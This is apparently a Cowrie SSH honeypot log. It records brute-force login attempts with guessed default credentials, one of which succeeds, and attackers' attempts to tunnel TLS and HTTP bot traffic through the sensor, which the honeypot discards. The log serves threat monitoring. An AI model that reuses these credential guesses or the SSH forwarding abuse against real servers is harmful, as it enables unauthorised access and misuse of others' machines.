{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:15.078259Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90I6\\xa3\\xb0W0\\x1d\\x92\\xfe\\x8b\\xcc\\xd3\\xa4\\xea\\'\\x15Y\\xa2\\x96\\xa8<qTA\\x8bGG)\\x85\\x93\\x11 \\xdbU\\xaeu\\x04,\\x80\\x10\\xce\\xe2(\\xc9%j|\\x10\\xdcY\\x0b\\xf9\\\\\\xe4O\\x0bcL>g\\x99\\x18\\x16.\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6\\xa5P\\xe6\\xa5a$=\\xb4\\xcc\\xe0g5\\xd9\\xef\\xfc\\xf1f\\xf5C}\\xbf\\xaa\\xfaX\\xb1\\xd5i\\xfb\\xf9\\xc3?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90I6\\xa3\\xb0W0\\x1d\\x92\\xfe\\x8b\\xcc\\xd3\\xa4\\xea\\'\\x15Y\\xa2\\x96\\xa8<qTA\\x8bGG)\\x85\\x93\\x11 \\xdbU\\xaeu\\x04,\\x80\\x10\\xce\\xe2(\\xc9%j|\\x10\\xdcY\\x0b\\xf9\\\\\\xe4O\\x0bcL>g\\x99\\x18\\x16.\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6\\xa5P\\xe6\\xa5a$=\\xb4\\xcc\\xe0g5\\xd9\\xef\\xfc\\xf1f\\xf5C}\\xbf\\xaa\\xfaX\\xb1\\xd5i\\xfb\\xf9\\xc3?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:15.080751Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:15.137421Z","src_ip":"113.164.152.20","session":"f3cb83e1b932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:15.455404Z","src_ip":"123.27.168.40","session":"968ac8e02a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock2025","message":"login attempt [haddock/haddock2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:15.460104Z","src_ip":"91.92.40.36","session":"977e3288ad8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"santana","password":"santana","message":"login attempt [santana/santana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:16.633985Z","src_ip":"91.92.40.36","session":"6d852afdade8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53250,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead31f202a64","protocol":"ssh","message":"New connection: 123.27.168.40:53250 (10.17.0.5:22) [session: ead31f202a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:17.676820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:17.683645Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:17.923320Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:18.143425Z","src_ip":"91.92.40.36","session":"977e3288ad8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:18.215108Z","src_ip":"91.92.40.36","session":"6d852afdade8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:18.960105Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:19.358411Z","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:19.458765Z","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.052572Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TCphfjw1UWtDallLTkg1Pw%3D%3DfXb%2Btt3TCoXqDM4%2B8lqBzuNzj6jNQIhwZIm5DQCY3xJ0AImcxIgagCeRXtUMfOdMF5uRgSr3hwduh9rCushvWf7VoXW07DjRPdvUuqyoAA5ihh7dqGtIUOhukON4m%2BNlHSMS0EXhWYVtmTB%2FHqYoqlhLlHG6RAo3rrAEacG0J8wjEREeZpZRBElsNZl%2F2k16DD%2Be25wcDdCVap%2FMRnQ5nWXzXLZk%2F%2Fb%2BwK50CPAT6nCbtIf8Nh2lHaZp0A4%2Fi9gFGo%2FHIThsqIWR9fZ%2Fl1uwKkFDns2e%2BYZ34iBohdxBEGn5%2FX3R2CBC%2BjFOxmOv%2Bwo6Qr40LXZHajYgP8fezJ%2FAjpfcs65H4JBLFf%2BWewcHReFGTxxb8LjdPwU2hGNAwa4w68KdrGS4IkM8nRiNZVEZndNxJVRqeQOhgj7vFIuq0XpAQC69C1HuPZAejd4KdVRYBfbfvgMmbIePkuUzoKb8i%2BDgxiC6hT4lhJgEVUaVFysmY%2BPum1pttiyfvu9FYPlmp%2BMv0FB5LyKC1SXuA50qxkDCjGFS2dB4fQbb1qX8HyxslQ0aBPfT4Rc%2FeX5%2BmG9waYYQoMDxScIj6WGMHpMc04uAtqDow6bvfuQuP9pxayDBMEpTPazjA5rCHkvPb%2F0fwtQKn6BlvHhQivok%2BZz0tvKJ82scv9wcDiHTiUIqA9qYP72yKl4jne4Lu43btuXPY2TvmDdiIQpEztEjGR2bFu7Xg6qBrzone%2FZDFaGTRdftcOYFt3wIJUfc98jDJlw8F3gV%2FefOiqd467uWf0wv1PoC3JbDkCqWNKwn%2Fz898HNKzlRmrbQD78BqZhwHu6auHP3vmcIlhOPsxDaQf0z%2FVciQAjHktiHwq10mwMGZPhH%2FZIrQBn0hNWq39yTx0mNjdVlBQR1VJYGv0YQ3WmvGtGeVz%2B5gEP8Y3JNCffRM%2B5AIdt7d5bIuLdIJfzL8YBLGpd3H%2FGTgxUPzZ%2FMcK%2FZ1CrO1pL8nZAr7%2BiS20WpVHlvnaRIvFuHTtEHAqyNGqbtBoXMscYFwNDK4Fru4Yjb%2BYLbLuflIjLy9CaEz0IgMMFglHUvLNDYu6t6w8XAC3hTf'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TCphfjw1UWtDallLTkg1Pw%3D%3DfXb%2Btt3TCoXqDM4%2B8lqBzuNzj6jNQIhwZIm5DQCY3xJ0AImcxIgagCeRXtUMfOdMF5uRgSr3hwduh9rCushvWf7VoXW07DjRPdvUuqyoAA5ihh7dqGtIUOhukON4m%2BNlHSMS0EXhWYVtmTB%2FHqYoqlhLlHG6RAo3rrAEacG0J8wjEREeZpZRBElsNZl%2F2k16DD%2Be25wcDdCVap%2FMRnQ5nWXzXLZk%2F%2Fb%2BwK50CPAT6nCbtIf8Nh2lHaZp0A4%2Fi9gFGo%2FHIThsqIWR9fZ%2Fl1uwKkFDns2e%2BYZ34iBohdxBEGn5%2FX3R2CBC%2BjFOxmOv%2Bwo6Qr40LXZHajYgP8fezJ%2FAjpfcs65H4JBLFf%2BWewcHReFGTxxb8LjdPwU2hGNAwa4w68KdrGS4IkM8nRiNZVEZndNxJVRqeQOhgj7vFIuq0XpAQC69C1HuPZAejd4KdVRYBfbfvgMmbIePkuUzoKb8i%2BDgxiC6hT4lhJgEVUaVFysmY%2BPum1pttiyfvu9FYPlmp%2BMv0FB5LyKC1SXuA50qxkDCjGFS2dB4fQbb1qX8HyxslQ0aBPfT4Rc%2FeX5%2BmG9waYYQoMDxScIj6WGMHpMc04uAtqDow6bvfuQuP9pxayDBMEpTPazjA5rCHkvPb%2F0fwtQKn6BlvHhQivok%2BZz0tvKJ82scv9wcDiHTiUIqA9qYP72yKl4jne4Lu43btuXPY2TvmDdiIQpEztEjGR2bFu7Xg6qBrzone%2FZDFaGTRdftcOYFt3wIJUfc98jDJlw8F3gV%2FefOiqd467uWf0wv1PoC3JbDkCqWNKwn%2Fz898HNKzlRmrbQD78BqZhwHu6auHP3vmcIlhOPsxDaQf0z%2FVciQAjHktiHwq10mwMGZPhH%2FZIrQBn0hNWq39yTx0mNjdVlBQR1VJYGv0YQ3WmvGtGeVz%2B5gEP8Y3JNCffRM%2B5AIdt7d5bIuLdIJfzL8YBLGpd3H%2FGTgxUPzZ%2FMcK%2FZ1CrO1pL8nZAr7%2BiS20WpVHlvnaRIvFuHTtEHAqyNGqbtBoXMscYFwNDK4Fru4Yjb%2BYLbLuflIjLy9CaEz0IgMMFglHUvLNDYu6t6w8XAC3hTf'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.055581Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.059446Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xfeK\\xa1\\x1aJ\\x9e\\xd3\\x97u\\xca\\x11|\\xff\\xe9\\x11\\xe5\\xac\\xeb\\xcc\\x9d\\xb6\\x9b\\x9f\\x03\\xa2#\\xfbG\\x9e;\\x82 \\r\\x1dV\\xb2\\x17\\x193\\xbe\\x98\\x97\\x05A\\xd9\\xcdwF\\x1c\\xa8\\x98\\xd1\\xd8\\x89RI9r^d\\xa2\\x08\\xad\\xb4\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 &\\x0f\\xc3\\x9b\\x85\\xb8 J\\xde\\xe5\\x98\\xc7lC\\x01t\\x17\\x07\\x86\\xcf,\\xe0\\xda\\xb0$\\xbf\\x8e\\xeb\\xf0\\x83\\x01}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xfeK\\xa1\\x1aJ\\x9e\\xd3\\x97u\\xca\\x11|\\xff\\xe9\\x11\\xe5\\xac\\xeb\\xcc\\x9d\\xb6\\x9b\\x9f\\x03\\xa2#\\xfbG\\x9e;\\x82 \\r\\x1dV\\xb2\\x17\\x193\\xbe\\x98\\x97\\x05A\\xd9\\xcdwF\\x1c\\xa8\\x98\\xd1\\xd8\\x89RI9r^d\\xa2\\x08\\xad\\xb4\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 &\\x0f\\xc3\\x9b\\x85\\xb8 J\\xde\\xe5\\x98\\xc7lC\\x01t\\x17\\x07\\x86\\xcf,\\xe0\\xda\\xb0$\\xbf\\x8e\\xeb\\xf0\\x83\\x01}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.062443Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.301490Z","session":"ead31f202a64","protocol":"ssh"}
